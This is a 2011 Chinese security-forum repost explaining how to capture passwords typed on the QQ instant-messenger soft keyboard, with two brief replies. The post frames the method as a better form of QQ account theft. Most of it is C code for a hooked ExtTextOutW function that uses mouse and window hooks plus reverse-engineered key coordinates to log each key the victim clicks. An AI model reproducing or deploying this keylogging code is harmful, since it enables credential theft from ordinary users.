首页
社区
课程
招聘
[转帖]还是软键盘
发表于: 2011-3-11 10:57 4706

[转帖]还是软键盘

2011-3-11 10:57
4706
好吧,说说有关QQ软键盘的事。以前看到各类QQ软键盘的盗号代码以及工具,我觉得吧,很高手的就是那种OD进去,Patch出来的那种,然后各种绕,最后就出来密码的逆向高人。可惜问题在于这种代码时效性真的有点弱,特别是QQ一更新就各种MISS...位置各方面不对
     
    但是呢,后来发现了一个比较通用的截获QQ软键盘记录的方法(注意是软键盘,你要说硬键盘+软键盘我也没戏)。就是利用了QQ登陆时候,会初始化一个软键盘的表,而那个表是按照一定位置规律的坐标来排列的,只要算好位置,然后知道两个重要的参数就是了:参数一是软键盘的窗口,我们可以加载个WH_CBT钩子,从而获得;参数二是软键盘点击左键时,鼠标所在的位置,这个由加载WH_MOUSE钩子获得。只要知道以上两个参数,然后就是由ExtTextOutW中截获的QQ软键盘坐标,就能获得你所按下的每个键了。
     
    这是我逆向出来的软键盘坐标,并且指示出按键的核心代码:
BOOL WINAPI ExtTextOutW_new(
    HDC        hdc,            // handle to device context
    int        X,                // x-coordinate of reference point
    int        Y,                // y-coordinate of reference point
    UINT    fuOptions,        // text-output options
    CONST    RECT *lprc,        // optional clipping and/or opaquing rectangle
    LPCWSTR    lpwString,        // points to string
    UINT    cbCount,        // number of characters in string
    CONST    INT    *lpDx        // pointer to array of intercharacter spacing values
)
{
    char    buf[5] = {0};
    int        iKeyRow_1 = 0;
    int        iKeyRow_2 = 0;
    int        iKeyRow_3 = 0;
    int        iKeyRow_4 = 0;

     
    //按下按键
    if ( g_bLButtonDown )
    {
     
    if ( Y >= 4 )                            // 4=第一排Y轴最短距离
    {
        if ( Y <= 27 )                        // 27=第一排Y轴最大距离
        {
        if ( g_coordinate_Y >= 4 )
        {
            if ( g_coordinate_Y <= 27 )                    // 处于第一排按钮
            {
                if ( X < 297 || g_coordinate_X < 297 )    // 表示第一排按键,除去退格键
                {
                    iKeyRow_1 = g_coordinate_X - (g_coordinate_X - 11) % 26;
                    if ( X > iKeyRow_1 )
                    {
                        if ( X < iKeyRow_1 + 24 )                // 24=一个按键的X轴长度
                        {
                        //分Shift按下和不按下的情况

                        if ( g_bShift_ON )                        // 开启软键盘的Shift键之时
                        {
                            memset(buf,0,5);
                            Unichar2Char(lpwString,buf);
                            char szNumberKey[15]="~!@#$%^&*()";    //第一排按键为:`1234567890
                            if( strstr(szNumberKey,buf) != NULL )
                            {
                                PRINT(buf);
                                g_bShift_ON = 0;    //重置Shift键
                            }         
                        }
                        else                                    // 软键盘的Shift键没有开启
                        {
                            memset(buf,0,5);
                            Unichar2Char(lpwString,buf);
                            char szNumberKey[15]="`1234567890";    //第一排按键为:`1234567890
                            if( strstr(szNumberKey,buf) != NULL )
                            {
                                PRINT(buf);
                            }
                        }
                        }
                    }
                }
                else
                {
                    PRINT("BackSpace");        //退格键,需要特殊处理输出
                }
            }
        }
        }
    }    //第一排结束
     
    if ( Y >= 30 )
    {
        if ( Y <= 53 )
        {
            if ( g_coordinate_Y >= 30 )
            {
                if ( g_coordinate_Y <= 53 )            // 处于第二排
                {
                    if ( X >= 3 )
                    {
                        if ( X <= 41 )            // 处于第二排中的第一个按键,即是Shift
                        {
                            if ( g_coordinate_X >= 3 )
                            {
                                if ( g_coordinate_X <= 41 )
                                {
                                    //Shift标签需要单独处理
                                    if ( g_bShiftFlag++ == 1 )
                                    {
                                        g_bShiftFlag = 0;
                                        g_bShift_ON = (g_bShift_ON==0);
                                        PRINT("Shift");
                                        PRINT("g_bShift_ON=%d",g_bShift_ON);
                                    }     
                                }
                            }
                        }
                    }
                    if ( X >= 43 )
                    {
                        if ( X < 293 )
                        {
                            if ( g_coordinate_X >= 43 )
                            {
                                if ( g_coordinate_X <= 293 )            // 处于第二排的其它按键情况,但非大小写锁定键
                                {
                                iKeyRow_2 = (g_coordinate_X - 43) % 25;
                                if ( X > g_coordinate_X - iKeyRow_2 )
                                {
                                    if ( X < g_coordinate_X - iKeyRow_2 + 23 )    //第二排的按键的长度是23
                                    {
                                    //如果说Shift键按下
                                        if ( g_bShift_ON )
                                        {
                                            memset(buf,0,5);
                                            Unichar2Char(lpwString,buf);
                                            char szCharacterKey[15]="\"<>?_+|{}:";     
                                            if( strstr(szCharacterKey,buf) != NULL )
                                            {
                                                PRINT(buf);
                                                g_bShift_ON = 0;    //重置Shift键
                                            }         
                                        }
                                        else
                                        {
                                            memset(buf,0,5);
                                            Unichar2Char(lpwString,buf);
                                            char szCharacterKey[15]="',./-=\\[];";     
                                            if( strstr(szCharacterKey,buf) != NULL )
                                            {
                                                PRINT(buf);
                                            }
                                        }
                                    }
                                }
                                }
                            }
                        }
                    }
                }
            }
        }
    }    //第二排结束
     
     
     
    if ( Y >= 56 )
    {
        if ( Y <= 79 )
        {
            if ( g_coordinate_Y >= 56 )
            {
                if ( g_coordinate_Y <= 79 )         // 第三排,字母行
                {
                    iKeyRow_3 = (g_coordinate_X - 11) % 26;
                    if ( X > g_coordinate_X - iKeyRow_3 )
                    {
                        if ( X < g_coordinate_X - iKeyRow_3 + 24 )
                        {
                            memset(buf,0,5);
                            Unichar2Char(lpwString,buf);
                            PRINT(buf);
                        }
                    }
                }
            }
        }
    }
     
     
    if ( Y >= 82 )
    {
        if ( Y <= 105 )
        {
            if ( g_coordinate_Y >= 82 )
            {
                if ( g_coordinate_Y <= 105 )        // 第四排,字母行
                {
                    iKeyRow_4 = g_coordinate_X - (g_coordinate_X - 11) % 26;
                    if ( X > iKeyRow_4 )
                    {
                        if ( X < iKeyRow_4 + 24 )
                        {
                            memset(buf,0,5);
                            Unichar2Char(lpwString,buf);
                            PRINT(buf);
                        }
                    }
                }
            }
        }
    }
     
    }//按下按键结束     

    BOOL ret = ((EXTTEXTOUTW)g_Proc_ExtTextOutW)(hdc, X, Y, fuOptions, lprc, lpwString, cbCount, lpDx);
    return ret;
}

    这些东西真是很难算,如果是真的去编它的话我估计3天绝对不够,即使你知道这么做。最后来看看效果(因为时间冲忙,我就直接那DbgView来打出来了,其实还用SendMessage的DATA_STRUCT的最好,哎~人变懒了)


而且我觉得最爽的是,这个方法通用的版本还包括2009和新出的2011...


[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 2105
活跃值: (424)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
HOOK SendInput SetWindowsHookEx ...
2011-3-11 11:00
0
雪    币: 32
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
注意,这是软键盘
2011-11-7 14:53
0
游客
登录 | 注册 方可回帖
返回
// // 统计代码